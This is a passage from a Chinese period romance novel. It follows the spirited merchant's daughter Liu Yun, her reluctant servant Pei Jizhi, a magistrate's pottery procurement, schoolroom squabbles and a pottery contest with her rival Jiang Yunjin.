沈素也很少见这样的大场面,不由得便也被吸引了。
柳芸却看主座上的人。
那人看着同柳父差不多的年纪,长得眉目慈和,一身长袍安坐在主位,但浑身上下散发着看不见的威严。
芸娘揣测这位估计就是沈素口中的县令大人。
县令大人左手下手座位坐着一个虎背熊腰的中年男人,柳芸是认识的,是沈素的父亲。
此刻,他正举着酒杯,脸上堆着笑:“陈大人光临寒舍,属下真是蓬荜生辉。”
县令陈大人扬了扬手:“沈老爷不必客套。本官时间紧迫,此次前来也是奉了上头的命令,来督办采购瓷器的差事。”
沈老爷恭敬地道:“大人请讲,凡事有用得上小的地方,我定当尽全力配合。”
陈大人:“我初来乍到长安,对这里的贸易情况并不十分了解。”
听到这里,沈老爷眼珠子转了转,心思流转,他当然明白陈县令的意思,他沈家祖上筹钱捐了一个不大不小的官吏,一直在长安府当差。
一直以来都和长安的各界豪绅保持着密切的联系,长安的县令换了一波又一波,但沈家人始终驻扎在此地,在当地也累积了一些威望。起到了一个平衡各家的作用。
谁家闹了矛盾也常常请沈老爷调解,渐渐的,沈老爷也就有了些威望,甚至有时候比县令说的话还管用。
陈县令这是提早摸清楚了这边的情况,才找上门。
沈老爷摸了摸胡须,心下对这位陈县令有了基本判断,做事老道且善于观察,是个不好糊弄的主。
“沈老爷,可否同我说说长安府擅长制陶的人家?”陈县令摆出虚心请教的态度。
沈老爷当然不好意思拿乔,拱了拱手,如实道:“大人既说到了制陶,本地确有两家富商经营此类。一家是城东的江家,另一家则是城南的柳家。”
“可否具体说说?”
“城南的柳家是祖传的手艺了,几十年前就来到长安,世世代代做陶艺,从前的县令也曾夸过柳家的手艺;至于那城东的江家算是后起之秀,近几年发展的特别快,因为样式比较新颖受到贵人们
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追捧,这两家算是长安数得上号的。”
沈老爷说到这些是他的拿手活,头头是道。
“那按照你的意思,本官应该选择哪家?”县令大人很有耐心地听完提问。
这就是在让沈老爷推荐了。
关乎到自己家的生意,柳芸不由得竖起耳朵,屏住呼吸。
她有些紧张,没收好力,紧紧掐了一把沈素的胳膊。
沈素被她掐得生疼,但想到两个人是在偷听墙角,只能把尖叫扼杀在喉咙里,死死捂住嘴。
“小人不好说。两家都有特色,还得看大人的需要。”沈老爷沉吟片刻,给出中肯的答案。
陈县令目光闪了闪,心下觉得这个沈老爷不愧是人精,他刚才给他推荐的机会,一般人或许会拿着这个做人情,推荐同自家交好的人家。
但沈老爷却没这么做。而是把选择权又交还到他手上。
其实沈老爷就算真的推荐了,陈县令也并不会听他的建议。反而会觉得此人任人唯亲,往后做事要防着他沾手。
现下一看,倒觉得此人可用。
陈县令满意的点点头:“那就麻烦沈老爷帮忙张贴文书。文书内容就是招募长安城中擅长制陶的手艺人,凡能制出精美器物者皆可来报名。”
沈老爷站起身,恭恭敬敬地行礼领命。
陈县令有事在身,确实是不便多留,他站起身,将手中的酒一饮而尽,作势就要离开。
沈老爷跟上去要相送。
谁知,下一秒,陈县令突然笑了一声,道:“府上有两位千金?”
沈老爷被这句前言不搭后语的问话问蒙了,他想说没有啊,我只有一个女儿,儿子倒有两个。但他直觉陈县令不是这个意思,但他也不知道陈县令是什么意思,一时竟也不知道如何作答。
所幸,陈县令似乎也并不想得到他的答案,大手一挥:“不必送了。”
说罢,他已经大步离开。
沈老爷寻思着陈县令离开时说过的话,想着想着突然脸色一白。
把小厮招过来问:“小姐,在哪里?”
结果这小厮脸色发白,站在原地支支吾吾说不出话。
沈老爷暗道不好,脸色一沉:“快说。”
小厮闭了闭眼,心里一横,伸出手指向池塘边的那块巨石。
沈老爷还有什么不明白的?
他想着自家这个女儿真是越发胆大包天。
怒喝:“还不给我滚出来!”
躲在假山后面偷听的两个人被抓包,心里都是一惊。
最震惊的还属柳芸。她方才就听出了县令话里的意思,就是在点她们两个人。
但柳芸是跟着正经的师傅学过些武艺的,她方才隐藏气息,一般人是发现不了她的。
这个陈县令直接点名有两个人,说明自己隐藏气息没有瞒过他,此人定是也有些功夫在身上,柳芸觉得自己小瞧了这位县令。
事情已经败露,柳芸一向是敢做敢当的性格。
回头一看,沈素已经是小脸煞白,瑟瑟发抖。
柳芸拉着她走出假石。
5. 屈从
两个少女从角落里缓缓走出来。
沈父看见柳芸的脸就感觉阵阵头疼。
前阵子柳芸带着自家女儿把江家马厩烧了的事情他还记忆犹新。
这小姑娘什么都好,容貌俏丽,家境优渥,就是太皮了些,像个混不吝的皮小子。
但沈父到底不是柳芸父亲,碍于身份,他只瞪着自己的女儿沈素:“为什么躲在假石后头?”
沈素向来畏惧父亲,此时被他发难,更加瑟瑟发抖,双手绞着帕子,嘴唇被牙齿咬得发白。
柳芸往前站了一步,直视沈父:“是我做的。不关素素的事情。”
沈父扶额:“长辈说话,未经允许,不可擅自窃听。”
“沈叔,容我说一句,若真是万分机密的事情,县令便会同你在书房密聊,而不是在庭院里直接讲。”柳芸振振有词。
沈素在她身后偷偷拽了拽她的袖子,暗示她稍微收敛一些。
沈父一时语塞,感觉这丫头难缠极了,反正他是管不了这小孩,想了想,他神色严肃:“芸娘,你且回去吧,今天这件事我会同你父亲说的。”
“三娘,你过来。”沈老爷说完也不等芸娘反应,将视线落在自家女儿身上。
沈素没办法违抗父亲的命令,她深深看了一眼柳芸,朝她轻轻摇了摇头。
柳芸被管家请出沈府的时候,就听见沈老爷正盘问沈素:“三娘,你可知错?”
裴济之没想到柳芸这么快就出来了。他抬眼望过去,却见这位大小姐脸上表情不甚好看,连带着头顶梳的发髻也无精打采垂落下来。
柳芸跨出沈府门槛,一眼就瞧见斜靠在墙边的裴济之。他正环抱双臂,好整以暇朝她望过来。
真奇怪,这家伙脸上分明没什么表情,但柳芸就是觉得他在幸灾乐祸。
她没好气地道:“过来抱我上马。”
裴济之并不想再被拽在马后狂奔,他犹豫了一下下,还是朝着柳芸走来。
柳芸见少年动作,知道他就算再不情愿也得屈服于她,心中得意。
下一秒,裴济之竟然全无预兆的,骤然扣住她的腰。
他的臂弯扣住她的腰,力道很大,毫无征兆地将她打横抱起。
柳芸心中一凛,指尖擦过少年的衣襟,努力控制住才没有发出尖叫。
身侧骏马垂头,蹄尖轻刨着泥地。
裴济之垂着眼,睫羽覆住漆黑的瞳孔,所有情绪都被死死压在眼底,只剩一片沉冷。
旋身时他的臂弯收得更紧,骨节绷出青白的弧度,将她稳稳送进马鞍的一瞬,掌心按在她腰后,指腹抵着衣料,却不敢真的贴实,他咬着牙,动作透着隐忍的僵滞。
待柳芸指尖攥紧鞍桥,裴济之的那只手便极快地收回,落回身侧。
少女的腰肢很软,盈盈一握,同她张扬跋扈的性格截然不同。
柳芸闷闷不乐回到家,预感她爹很快就会派人来找她。
果不其然,她被抓过去骂了一顿。
“祖宗啊……”柳老爷畅快淋漓骂了一顿,终于把心中的火气抒发出去,锤着胸脯道,“求你少给我惹事。明天,就给我上学堂去。”
柳芸一直保持左耳朵进右耳朵出的状态,见他发挥差不多了,出声:“爹,陈县令说要替上面采购一批陶器。你看,咱家是不是……”
柳老爷感觉这女儿彻底没救了,敢情他刚刚说的那些肺腑之言她完全当耳旁风来的,他瞪着眼:“家里的生意不用你操心!”
“爹!这可是难得的好机会!一定要把江家比下去!”想起江云锦小人得志的面庞,柳芸愤愤。
“芸娘!!咱家不是只有陶肆这一个生意。”
柳芸瞧他意思,竟是并不十分在乎这桩买卖。顿时皱起眉,身侧的拳头握紧:“可陶肆不一样!是娘最喜欢……”
“够了!”柳老爷大声打断她的话,有些心累地支着额头,“把小姐带下去。”
身旁的管家立马上前,恭敬地朝柳芸行礼:“小姐,请吧。”
柳芸知道,父亲这是不想同她继续说话了。
她愤愤然跺了跺脚,气鼓鼓转身走了。
她就知道!她爹完全不在乎陶肆的死活,从前娘在的时候他还做做样子,如今是懒得管了。
这不行,柳芸的指尖深深扣进掌心,她要替母亲管好陶肆。
柳芸暗暗下定决心。
她走回院落,却见裴济之站在她房门口。
柳芸无精打采瞟了他一眼:“怎么你是想来看我笑话?”
裴济之面无表情,他将手中的水盆举起:“春桃说你要沐浴。我打水。”
柳芸冷哼一声,觉得无趣,抬腿进屋。
裴济之就亦步亦趋跟在她身后,柳芸径直走到屏风后。
裴济之遵照春桃的嘱咐,弓着身,用水瓢往桶里舀水。
屋里瞬间水汽蒸腾,热气蔓延。
丫鬟们也端着铜盆进来,往水里添花瓣和皂角。
裴济之感觉这里没自己的事了,正想要离开。
余光却瞟见素纱屏风后身影晃动。
昏软光影里,纱纹晃动摇曳,裴济之抬眼撞进那抹纤影里。
屏风后的人似乎正在抬手解开襟前系带,罗衫轻滑,堪堪落至肩头,露一截肩颈弧线,腕间银钏轻晃,隔着屏风一切都朦胧。
裴济之突然意识到什么,立马调转方向背过身,加快脚步赶紧退了出去。
春桃见他神色有些异样,抓着他问:“办妥了没有?手脚没有毛毛躁躁吧?”
被蒸腾的雾气烤的脸色有些发红的裴济之抿着唇,只是点了点头。
春桃晓得这人不爱多说话,见他办妥了差事,也就放心下来。
裴济之回到自己休息的柴房,翻开自己昨日温习的功课,可盯着眼前的书册,字他都认识,但连成句子就无法记在脑子里了,他怎么也静不下心。
辗转反侧一夜。
第二天,裴济之脸色很不好地出现在柳芸门口。
柳芸也起了大早,今日要上学堂,她不能再赖床。
从铜镜里看见裴济之阴沉的脸色和发黑的眼睛。柳芸忍不住嘲笑:“裴济之,你晚上当贼去了?”
裴济之抬头看了她一眼,然后又垂下头,不做声。
柳芸见裴济之不痛快,她就痛快。
她夺过春桃正给她梳头的篦子:“春桃,你休息会儿,让裴济之给我梳头。”
裴济之愣了愣,下一
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秒一只篦子被递到他眼前。
“拿着。”春桃塞到他手里,伸手将他推到柳芸身后。
裴济之感觉自己现在就是这小姐的奶妈,不仅要侍候她洗漱,现在还要帮她梳头。
从前在京城,自己还是少爷的时候,哪里做过这个!
可惜,今时不同往日,他风光不在。
竟落得这等境地。
想着想着,他的手掌不由得微微收紧,乌木梳柄硌得他掌心发疼。
裴济之握着木篦探进她松散的发间,动作本就生疏,还裹着沉郁。
篦齿狠狠勾住缠结的发结,裴济之收力不及,猛地一扯,疼得柳芸肩头骤然绷紧,眉尖紧蹙,后颈肌肤都绷出细痕。
她没回头,透过铜镜杏眼圆瞪,语气冷硬裹着愠意:“轻些!”
裴济之喉间低低闷应一声,满是不情愿,指腹悬在发间僵了瞬,极敷衍地吐出两字:“知道”。
而后他动作依旧透着粗粝,但确实又敛了几分力道。
他的指尖慢吞吞捻开缠结的发丝,细密篦齿贴着少女的发缕慢慢滑落,裴济之的手腕转得笨拙又僵硬,梳到发尾时,还刻意稍沉了力道,让篦柄轻磕了下她的发梢,带着点隐秘的别扭。
他眉峰始终蹙着,似是觉得这细琐活计磨人得很,偏又不得不做,指腹偶尔擦过她颈侧微凉的肌肤,便像沾了麻烦般倏然收力,半点不愿多作触碰。
末了,折腾了半天,成品就是一坨稀烂的发髻。
裴济之到底面子上挂不住,不敢去看柳芸的脸色。
柳芸简直要被气笑了,她指着裴济之:“我真服了你了。”
可时间来不及了,再不快快上马车就要迟到。
春和先生是很严厉的,若是迟到就要在外头罚站。
春桃赶紧上前夺过裴济之手里的篦子,藏在袖子里,附在柳芸耳畔说:“小姐,路上我替您再打理一下。”
柳芸起身,穿上鞋往外走。
春桃看了裴济之一眼,指了指地上的木箱:“替小姐背上书册。”
这木箱制作得十分巧妙,绑着两根结实的绳子。
裴济之回屋将自己的书册也拿出来一同放进木箱,然后将木箱扛在双肩,加快脚步追了上去。
他匆忙追出来的时候,柳芸已经站在马车边等他了。
裴济之知道要自己干什么,不等她吩咐,上前一步将少女拦腰抱起来把她放到马车上。
柳芸表示满意,掀开车帘进去了,春桃跟在她身后也钻进去。
裴济之等一众随从就跟在后头的马车上随行。
紧赶慢赶,总算是没迟到。
柳父让柳芸带着裴济之一同进学。
柳芸站在学堂门口,手指点着旁边一间木屋,努了努嘴:“春和先生现在就在里头,你最好先去拜会一下他。”
“把书给我,你自己去罢。”
按柳父的吩咐,柳芸应该是要陪着裴济之去拜见先生,替他引荐的,但柳芸不乐意,能捎带裴济之来已经是她最大的让步了。
“好。”裴济之并不在意这些,他将书箱打开,掏出自己的书册,然后又阖上,将书箱递给柳芸。
柳芸看着他动作,皱了皱眉。
6. 讨好
“谁允许你把破书同我的书放在一起?”柳芸不满。
这时忽然有人叫道:“芸娘我在这里,快过来。”
柳芸被声音吸引了注意力。
抬头却见是沈素站在学堂里招呼她。
有人替自己解围,裴济之就趁着柳芸不注意朝木屋方向走了过去。
沈素抓着柳芸胳膊,好奇地朝裴济之离开的方向望去:“你怎么带他来了?”
柳芸刚想回答,却被人抢先一步——
“嗨哟,妹妹带哥哥来上学,这不是很正常吗?”
女声听到柳芸耳朵里刺耳。
柳芸皱眉,直接扭头就对上江云锦:“我再说一遍,他不是我哥。”
江云锦完全不惧她周身已经冷下来的气场,掩着嘴假笑:“哦呦,我都亲眼看到了,他从你家马车下来的,我说他是你哥,又没说他是你情哥哥,你着急否认什么?”
说完她似乎觉得自己刚才的话很有意思,愈发肆无忌惮大笑。
周围有时常同她玩到一块儿的男生也噗嗤笑出来。
好事儿的人都朝这边看过来。
江柳两家是长安两大富商,平日里大家都不太敢招惹两个大小姐,但江柳两家不同之处在于柳家完全是商贾之家,江家却有个大哥前几年考上了秀才,有了功名,算是读书人了。
官宦人家是不大瞧得起商贾的,春和先生门下弟子有不少这样的官宦之子,大家嘴上不会说,但隐隐是瞧不起江柳二家子弟出身的。
但江家有了考上功名的子弟,这功名虽不高,但总比没有好,因此在大家心里,江家算是比柳家高一头。
想讨好江云锦的人日渐就多了起来。
柳芸哪里懂这么多弯弯绕绕,她家有钱,想做什么只要使钱就是了,没有她办不到的事情。
这些捧高踩低的人都不敢舞到他面前。
毕竟谁家没准都会有个急需借钱的时候。
沈素见到学堂里众人都看过来,拉了拉柳芸袖子,小声劝道:“要不算了?”
柳芸不理她,上前直接揪住江云锦衣领:“江云锦,下学后别走,比一场,敢不敢?”
“我有什么不敢的?就怕你输了哭鼻子。”江云锦掏出手帕,模仿柳芸的动作。
柳芸一脚踹翻她的几案:“到底谁哭鼻子还不一定呢。”
春和先生这边,正考教过裴济之学问,觉得还不错,领着他进门,刚走到门口就听到闹哄哄的动静。
他蹙眉,国字脸一下子沉下来,大跨步冲进学堂,大喝:“吵吵闹闹,成何体统?”
围观的学生立刻鱼鸟散。
各个低头翻开书册,佯装奋笔疾书。
只剩下柳芸和江云锦僵持在学堂里。
春和先生看见这两个问题学生也头疼得很。
他用力敲了敲桌面:“你俩什么意思?要打架出去,别在我这儿。”
柳芸冷哼,转身坐回自己位置:“是她先挑衅我的,我都懒得搭理她。”
江云锦脸色涨红。
春和先生将视线落在她身上:“江小姐,你是准备出去罚站还是上课?”
江云锦脸色不好看,但还是闭紧嘴唇,气鼓鼓坐回去。
这场风波总算平息。
春和先生是一个标准的读书人,长着一张读书人的脸,四五十岁的样子,头发微微泛白,不怒自威:“今天我要给大家介绍一个新的同窗。”
他挥了挥手,示意裴济之进来。
裴济之进屋。
众人都朝他望过去。
这位新同窗长得高高瘦瘦的,但眉眼特别清俊,站在春和先生旁边,浑身上下竟散发出一种生人勿近的气场。
有些少女们看见如此俊俏的儿郎,都忍不住上上下下打量他。
少年们见到此人来者不善的样子,一个个也都不服气。
“以后他就是你们同窗。要相亲相爱,知道了没?特别是几个特别爱闹事的学生。都听清楚了吗?”春和先生语气严肃。
他特意加重了这句话的后半段。目光朝着江云锦和柳芸的方向扫过来。
“子璋,你且找个地方坐下。”春和先生对裴济之道。
裴济之环顾学堂四周,他在寻找空位。
春和先生在长安教书的消息吸引了全长安上下适龄的子弟们入学,学堂里此刻已经几乎都坐满了人,没有几个空位子了。
裴济之注意到唯几个空位竟然是在他最不想见到的人,就是柳芸的四周。
他下意识就把那几个空位排除掉。
然后他对着先生鞠了一躬,朝着距离柳芸相反方向的另一个角落里的空位走去。
柳芸注意到了他的举动,知道裴济之是不想同自己坐在一块,她心中冷哼。
“还算他识相,知道我不欢迎他。”
但柳芸又觉得不痛快,从小到大,没有人敢嫌弃她,只有她不要别人的份儿。
这个裴济之,又这样当众下她的面子!
裴济之走到空位边上,敲了敲同桌的桌子:“请问这有人吗?”
江云锦摊开书册,正趴在上面准备睡觉,谁知,竟被人敲了敲桌面,她心中不悦,不知道哪个不长眼的东西,敢打扰她。
正准备抬头训斥,却撞进一双深邃的眼眸。
江云锦近距离地看见裴济之的脸也不由得愣了愣。
之前见到他的时候,她都从未多注意过他,也没有把目光放在过他身上。
因为她主要的注意力都在如何挑衅柳芸,这突如其来的近距离接触,倒让江云锦诧异。
在这之前,她是真的相信柳老爷在外养了一个私生子。毕竟这在长安也不是一件多么稀少的事情。
江云锦的父亲就在外有一个外室。
可今日一见裴济之的相貌,属实是同柳老爷是没有一丝一毫的相像之处。
其实认真来说柳芸也长得不大像柳老爷。她长得更像她母亲,非常张扬。但因为血缘,多少还是有柳老爷的影子的。
但裴济之就截然相反。
他生得极白,眉骨与下颌线锋利如刀刻。眼窝略深,瞳色偏沉,抬眼时没半分暖意。
眉峰压得低,睫羽长而密,垂落时在眼下投出浅淡阴影,连唇色都淡得近乎青白,明明是极好看的一张脸,却总像裹着化不开的阴翳。
江云锦收了脾气,好奇发问:“你就是裴济
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之?”
裴济之不知道柳芸和江云锦的关系。
他如果知道的话肯定绝对不会来坐这儿。
听见江云锦询问,他也就当是正常的询问,微微颔首。
江云锦突然想到了什么,偏过头,朝柳芸的那个方向看了过去。
恰巧柳芸也看了过来,她气不过,正瞪着裴济之的背影。
两个人目光相对。
柳芸看到江云锦的嘴角上挑,露出一抹似有若无的笑意。非常刺眼。
“好呀,当然可以。”江云锦转过头回答裴济之,并且很热情地为他推开椅子。
“请坐。”
她目光炯炯,露出一个她最热切的笑容。
四周她的同伴诧异不已,心中纳闷。
啥情况?江大小姐什么时候这么殷切对待人?
了解她的人都知道,这长安若说要排一个最目中无人的小姐名次,柳芸排第一,那江云锦绝对能排第二。
两个人还是死对头。
天天弄得家宅不宁。
但父母都宠着,家境又优渥,没人敢招惹。
这新来的小子不简单啊,能得到江云锦的青睐。
四下人心各异,都有了自己的判断。
江云锦不管这些人心里想什么,她就是想让柳芸不痛快。
没看见裴济之坐下之后,柳芸快要喷火的眼神吗?
江云锦心里十分畅快。
柳芸啊柳芸,你也有今天!
她堆起笑容,主动和裴济之打招呼:“我是你同桌,叫江云锦。”
裴济之觉得他这位同桌好像有点过分热切了。
但他也就感到一丝奇怪,随即又觉得自己多心,出于礼貌,他点了点头,表示自己知道了。
江云锦看到裴济之掏出一堆卷着边快要翻烂的册子,整整齐齐摆放在桌案上。又拿出笔墨纸砚,都是破破烂烂的。
毛笔都快用秃了。砚台磕碎了一块儿。墨汁掺着水。
江云锦皱了皱眉,柳家不至于穷到这份儿上,看来柳芸真的不喜欢这个突如其来的兄长。
这情况江云锦十分满意,她就喜欢看柳芸过不好,如果能挑起二人矛盾,互相争夺柳家家产的话,那她江家就可以趁虚而入。
江云锦越想越得意,只觉得长安首富的位置已经势在必得了。
她从书匣里挑出一支狼毫,递到裴济之面前:“你的笔都不能用了,送你吧。”
裴济之正埋头思考先前不懂的地方,春和先生提点了几句,他当时脑中灵光一闪,似乎抓到了什么,此时正迫切思索。
到了紧要关头,却被一旁的这个姓江的同窗打断了。
裴济之努力控制自己的情绪,压下心头不满,视线扫过去。
江云锦原计划是想接近裴济之,这种穷惯了的人,只要略略施加小恩小惠,就会对她感激不已肝脑涂地。
她原以为会看到裴济之感动的表情,却没想到此人目光扫过来,让她心中一凛。
除了面对她父亲和兄长,江云锦没有在旁人身上感受到过这种令人畏惧的目光。
她下意识哆嗦了一下,毛笔从手中脱落,掉在桌案上。
7. 你告诉她
那种摄人的目光转瞬即逝,江云锦只觉得是自己多心了,她拍了拍胸脯,缓了缓,抱怨道:“送你毛笔,你干嘛不说话嘛!”
裴济之的视线落在那支狼毫上,摇了摇头:“不需要,多谢了。”
放平时有人敢当众拒绝她礼物,江云锦早就生气了,这会儿却偏偏不行,看来还得徐徐图之。
春和先生开始授课。
他捧着书卷,四平八稳念着诗文,尾音拖得老长。
很多学子们开始犯困。
柳芸对这种文邹邹的东西一向不感兴趣,她喜欢算学,可惜先生总说算学是不入流的学科。
柳芸告诉自己不要在意裴济之刚才的举动,但她很难控制住自己不转头往那边瞧。
可恶!这个江云锦凑过去在和裴济之说什么呢?为什么笑成那样!
还好裴济之还是那个死人脸。
柳芸看见江云锦支着下巴眼皮耷拉着,一看就是在打瞌睡。
她身旁的裴济之倒是挺直身板,坐得端正,一副认真听讲的样子。
“可恶!装什么呢!”柳芸腹诽。
春和先生念到兴处,目光扫过堂下,轻咳一声,戒尺敲击桌面。
“啪!”的一声。
小鸡啄米般点头的学子们猛然回神,连忙正襟危坐,眼神胡乱瞟向书卷。
“江云锦!”春和先生突然点名。没点到名字的学子们纷纷松了口气。
江云锦方才在打瞌睡呢,春和先生讲了啥她也没听清。
她慌慌张张地站起身,袖子带倒了手边的砚台。
“《论语·学而》篇,‘其为人也孝悌’,下一句是什么?”春和先生翻书的手停住,抬眼看向她,眉峰微扬。
江云锦涨红了脸,眼珠子滴溜溜转,嘴里支支吾吾半天,只憋出一句:“其……其为人也……”。
堂下鸦雀无声,有些世家子弟努力憋住笑意。
有人却毫无顾忌地大笑起来。
众人回头,却见是柳芸笑出声。
江云锦回头瞪了她一眼。
春和先生将戒尺往案上轻轻一放,发出“啪”的一声轻响,众人心脏漏跳一拍。
“再给你一炷香的时辰,背不全,便去抄十遍。”他巡视四周,随口又点了个名字,“子璋,你来答。”
裴济之闻言从容站起,不慌不忙回答:“‘其为人也孝悌,而好犯上者,鲜矣;不好犯上,而好作乱者,未之有也。君子务本,本立而道生。孝悌也者,其为仁之本与!’”
字字清晰,抑扬顿挫。
一旁罚站的江云锦一脸震惊。
春和先生点了点头:“不错,坐下吧。”
他重新拿起戒尺,目光落回江云锦身上,“听清了?以后不要开小差。”
江云锦苦着脸,连连点头。
春和先生正颜色:“认真听讲。”
江云锦觉得自己忒倒霉,大家都在开小差,怎么就自己被当场捉住了。
下了课,她气鼓鼓收拾东西要走。
却被柳芸堵住去路。
柳芸叉着腰,拦住她:“欸,方才上课前说好要比试一番。你可别跑了。”
沈素和柳芸一左一右像两尊罗汉挡住她的去路。
江云锦倒是真忘了这茬,她也不怕柳芸挑衅,回击:“比就比,谁怕谁。”
“比拳脚?”柳芸提议,双手已经摆出架势。
江云锦知道柳芸跟着师傅练过些拳脚,论打架,自己恐怕不能赢她,还容易受伤。
她眼珠子滴溜溜转了转:“你怎么天天打打杀杀的,要比,咱就比点真本事。”
“那你说吧,比什么,我一定让你输得心服口服。”柳芸挑眉。
“去我家陶肆。”
说着,不给柳芸反悔的机会,直接朝外走去。
这就是要比陶艺的意思了。
“小姐,要不咱别去了。”春桃知道自家小姐的水平,才上了几节课啊。
沈素也一脸担心:“万一她故意报复你怎么办?”
柳芸却摇头,拍了拍沈素的手背:“没有直接认输的道理,咱们走。”
因着裴济之得跟着柳家的马车走,他虽然急着想回去温习功课,也全然没办法,只能跟着柳芸。
到了地方,裴济之先下马车,然后认命般过去抱着柳芸下车。
他放下柳芸,朝马车上的沈素看了一眼。
沈素连忙摆手:“不用了不用了,我自己能下来。”
说着,她抓住丫鬟的手慢慢落到地面。
江云锦站在门口,正好目睹这一幕,啧啧两声:“芸娘,你也太懒了吧。”
柳芸翻白眼:“要你管。”
江家的陶肆和柳家是截然不同的风格。
江家陶肆是近几年异军突起的,到处散发着崭新的气息。
临着青石板路,木幌以赭红漆描“江家陶肆”四字。
入内更见雅致,四壁嵌原木搁架,层层摆着各式陶具。
墙壁悬挂着三幅陶制装饰画,皆以薄陶片为底,边缘镶细木框并描金,釉色莹润,泛着柔和光泽。
柳芸心里暗暗将江家的铺面同自己家的做对比,柳家陶肆虽然历史更久,但各项设施都已经老化。
柳芸知道父亲这两年都热衷于投资别的产业,陶肆是母亲的祖上传下来的,父亲他并不那么感兴趣。
虽然家里确实是越来越富有,但柳家陶肆却日渐没落。
柳芸清楚,父亲是纯正的商人,如果陶肆的生意继续变差,入不敷出,父亲是很有可能停止经营的。
柳芸要替母亲守护这片土地。
她会答应同江云锦比试陶艺,也是存了想来试探下敌情的心思。她也想知道,为什么江家的生意突然这么快崛起。
“坐吧。”
江云锦回到自己的地盘,浑身轻快起来,她指挥丫鬟们上茶。
江云锦掀开杯盖,抿了一口茶:“芸娘,你也听说陈县令要采购一批陶器进宫的消息了吧?”
说完,她观察柳芸的神色,发现对方并没有什么表情,心下了然,肯定自己的猜测。
江云锦接着道:“那我也很肯定地告诉你,这生意我们江家绝对要拿到手,我劝你们柳家还是早日放弃。”
柳芸冷哼:“谁给你的信心一定能拿到这单生意呢?”
“你不信那我也没办法,就你家一年比一年差的状况,别不自量力了。”江云锦摊开手,作出无奈的表
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情。
“你!”柳芸杏眼圆瞪,气得站起来。
沈素在旁边揪住她的袖子。
江云锦优哉游哉,看了一眼站在角落里,努力降低存在感的裴济之,转头责怪丫鬟:“怎么做事的,那位也是客人,怎可让客人站着?”
丫鬟吓得脸色煞白,她方才看到那男子是从侍从的队伍里下来的,以为是伺候柳小姐的奴仆,所以没有关注。
如今自家小姐这么说,那这人并非奴仆。
她赶紧给小丫鬟使眼色,给他安排座椅。
“呦呦呦,芸娘,你瞪我做什么!”江云锦佯装无辜。
“我也是替你的名声着想,若是你苛待兄长的名声传出去,今后谁还敢娶你?”
“那我还要谢谢你了?”柳芸气笑了。
“诶呀,不必这么客气。”
二人你来我往,暗藏机锋。
丫鬟忙活着将几案抬到裴济之面前,江云锦站起身,伸出手作出邀请的手势:“请坐。”
裴济之朝她拱了拱手。
“谁允许你坐了?”
一道冷冷的声音突兀响起。
柳芸目光扫射过来,语气带着冷意。
裴济之卷在长袖里的手紧了紧,很快调整过来,再次朝江云锦作揖,然后默默退到柳芸身后。
柳芸余光瞥见他的反应,还算满意。
“芸娘,何必如此!济之既是我们同窗,又是你的家人,他不是你的奴仆!”江云锦面上闪过一丝不快,但立刻隐藏起来,替裴济之打抱不平。
站在道德的制高点指责别人,这招果然好用。江云锦想。柳芸恐怕会羞愧难当。
谁知,下一秒柳芸腾得一下站起身,动作大得桌案上的茶水洒了出来。
她转身,朝裴济之伸出手,抓住他的衣领,强迫他靠近自己。
柳芸盯着裴济之的眼睛,裴济之同样注视着她。
“奴仆?”柳芸轻嗤,仿佛听到了什么了不得的笑话。
她抬手拍了拍裴济之发白的脸:“那你告诉她,你是不是我的奴仆?”
此话一出,整个房间都安静了下来,丫鬟们眼观鼻鼻观心屏住呼吸不敢吱声。
江云锦的脸色也难看起来,再也维持不住虚伪的笑容。
沈素害怕出事,手指紧紧抠着桌面。
裴济之的双眸死死盯着眼前的少女,眼眸里翻涌着汹涌的暗流,他下颌线紧绷成一条冷硬的线,牙关咬紧。
可少女的眼神依旧高傲,毫无惧意,就像他在她面前只是个蝼蚁。
“你告诉她,你是不是我的奴仆?”
柳芸再次重复自己的话,脸上已经开始不耐烦。
末了,裴济之嘴角勾起一抹极淡、极冷的弧度,不是笑,是淬了毒的恨,每一个字都从牙缝里挤出来,带着血沫般的腥气:“我是。”
得到了满意的答案,柳芸终于松开了他。
裴济之被她一把推开,踉踉跄跄退回原来的角落,垂着眸子,掩住情绪。
“江云锦,你听清楚了吧?”
江云锦完全没料到事情会发展成这样,她竟一时不知该做何反应。
“比赛开始吧。”柳芸一口饮尽茶水,直截了当说。
8. 比试
江云锦命人在陶肆中央清出一方空地。
柳芸同江云锦各自一张榆木桌案,二人分坐两侧。
丫鬟们将陶泥、刀片等物品端上来摆在桌案上。
江云锦敛了神色,指尖叩了叩桌面,眉峰微挑:“今日不比釉色,我知道芸娘你肯定还不会吧?我不为难你,咱们就比素坯塑性,如何?”
柳芸随手捏了一把泥团,感受了下松紧度,指腹轻轻碾两下,唇角微弯:“可。正合我意。输赢怎么论?”
江云锦拍了拍手,立刻有人从屏风后走出,朝着江云锦的方向作揖。
“这位是?”沈素不由得出声问。
“这是我家陶肆的杜师傅。他是长安首屈一指的陶艺师傅,我请他做这次比赛的裁判,芸娘,你有异议吗?”
柳芸还没开口,沈素先一步:“他是你家的师傅,万一偏袒你怎么办?”
杜师傅闻言,朝她望了过来,表情严肃:“这位小姐,我等陶艺人不会做这么自毁名声的事情。”
“可是……”沈素还是不放心。
柳芸拍了拍她的手背:“放心,她不会的。”
沈素还想说什么,但接触到柳芸让她放心的眼神,只得闭了闭嘴,不再多说。
“输者便来陶肆认三个月的学徒,如何?”江云锦视线始终落在柳芸的脸上。
“就怕你不敢,要是被你爹知道你来我家陶肆做学徒……”江云锦勾起唇角。
“有何不敢。”柳芸知道江云锦在用激将法。
杜师傅站在中央,确认双方都已经准备妥当,点了点头:“开始吧。”
二人同时动作。
一时间,屋内只剩下揉捏、翻滚陶泥的声音。
杜师傅看向江云锦,只见她手法娴熟,拿起竹拍敲击泥团,力道精准,泥团放在轮盘上,拉动轮盘,柱形的杯身弧度逐渐显现出来。
他再看向柳芸。看着看着不由得皱眉。
柳芸一看就是才接触陶艺不久,技艺生疏,揉泥的力道也不太对,杜师傅摇了摇头。
他不知道小姐为何要参加这样一场毫无悬念的比赛,小姐从小就跟着父亲苦练陶艺,莫说同龄人,就算寻常陶艺师傅也不一定就能更胜一筹。
杜师傅觉得江云锦有些仗势欺人,同时又觉得柳芸这小丫头自不量力。
殊不知,柳芸其实一直在偷偷观察对面江云锦的动作。
她确实接触陶艺没多久,也没有把握能赢从小就练习陶艺的江云锦,但是她有一个本领就是善于观察和模仿。
对,她在模仿江云锦,她想从她的动作中学习领悟到什么。
她记得母亲如此评价过江云锦:“江家那个小丫头是个肯吃苦,有些天分。”
能得到母亲这样的评价,柳芸对江云锦的技艺非常好奇。
